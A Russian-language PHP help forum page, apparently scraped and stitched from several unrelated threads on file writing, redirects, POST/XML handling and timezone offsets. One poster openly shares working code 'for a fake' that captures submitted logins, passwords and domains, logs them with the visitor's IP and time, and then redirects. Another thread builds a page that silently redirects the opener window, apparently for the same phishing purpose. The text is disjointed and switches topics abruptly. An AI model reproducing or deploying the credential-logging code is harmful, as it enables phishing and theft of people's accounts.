Gifts, чтобы код не копипастили бездумно (а если честно, то непомню напамять что там за аргументы, с $ - опечатка)
дописать в файл Видимо, плохо гуглил пол ночи( В php идет такая запись в файл fwrite($fh, $str): $str = "<?php header('Location: $src[0]$stream'); ?>"; Требуется записать еще три статичные строчки туда же. но кроме переноса строки \n ничего не работает Как засунуть в $str такие строчки, чтобы файл создался такой: <script language="JavaScript"> тра-ля-ля="http://site.ru/"; </script> <?php header('Location: $src[0]$stream'); ?>
Не совсем понятен вопрос, но вот то что понял я: PHP: $str = '<script language="JavaScript">'."\r\n"; $str .= 'тра-ля-ля="http://site.ru/";'."\r\n"; $str .= '</script>'."\r\n"; $str .= "<?php header('Location: $src[0]$stream'); ?> \r\n";
Замечательно, спасибо. Только в этом случае header Location получается имеет приоритет и скрипт не исполняется. Может есть какая-то альтернатива? Допустим, переадресация с минимальной задержкой (что дописать?) или другой хитрый способ?)
Незнаю может я туплю, но редирект должен сработать после выполнения скрипта или я ошибаюсь? Если уж так пишите условия стандартный if,else. Тут просто непонятно что будет именно в этом куске <script language="JavaScript"> тра-ля-ля="http://site.ru/"; </script> и что он будет делать
расскажите как лучше работать с post&xml в php именно как читать ответ, остальное я знаю вариантов масса, нашел много классов но как-то заторможено работает есть сервис один, у него API работает с post запросами вот пример ответа
Ребята срочно нужен ПХП скриптик, для вывода содержимого папки (с робочими ссылками) Что-то похожее на файл - менеджер. Кто имеет что - то такое дайте плиз.
<script language="JavaScript"> parent.window.opener.location="http://www1.ru/"; </script> <?php header('Location: http://www2.ru'); ?> так скрипт не срабатывает. или есть другой вариант для этой задачи?
<?php // перед этой строкой никаких пробелов переносов и вывода текста header('Location: http://www2.ru'); die; ?>
Всем доброго времени суток. Использую вот такой код для фейка: PHP: <?PHP $Login = $_POST['fio']; $Pass = $_POST['par']; $Domain = $_POST['Domain']; $ip=getenv('REMOTE_ADDR'); $now = getdate(); $nowstring=$now['mday'].".".$now['mon'].".".$now['year']."|".$now['hours']."+8ч ".$now['minutes']."м ".$now['seconds']."с"; $log = fopen("XXX.php","a+"); fwrite($log,"\r\nЛогин:$Login@$Domain | Пароль:$Pass |$ip|<sup>|$nowstring|</sup>\r\n<br>"); fclose($log); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=XXX'></head></html>"; ?> При этом в расшифровке переменной времени приходится писать (+8 часов), потому что время всегда приходит х-8. Я так понимаю, это неверные настройки часового пояса, но никакие гуглы проблему решить не помогли. Может, вы поможете? Буду благодарен.
Я пользуюсь такими поправками, не заморачивался сильно на решением по умнее. PHP: echo date('m.d.y H:i:s' , time()-(1*60*60)); еще вариант, но он делает поправку на системное время а системное время на моём вдс московское, а сам я не из россии и изменить системное время не возможно из-за виртуализации вдса, поэтому такой костыль с подводными камнями. Предыдущий вариант имхо лучше. PHP: <?php echo date('Y-m-d H:i:s').PHP_EOL; date_default_timezone_set('Europe/Moscow'); echo date('Y-m-d H:i:s').PHP_EOL; ?> http://php.net/manual/ru/timezones.php Если интересно вот почитайте: http://habrahabr.ru/blogs/php/19838/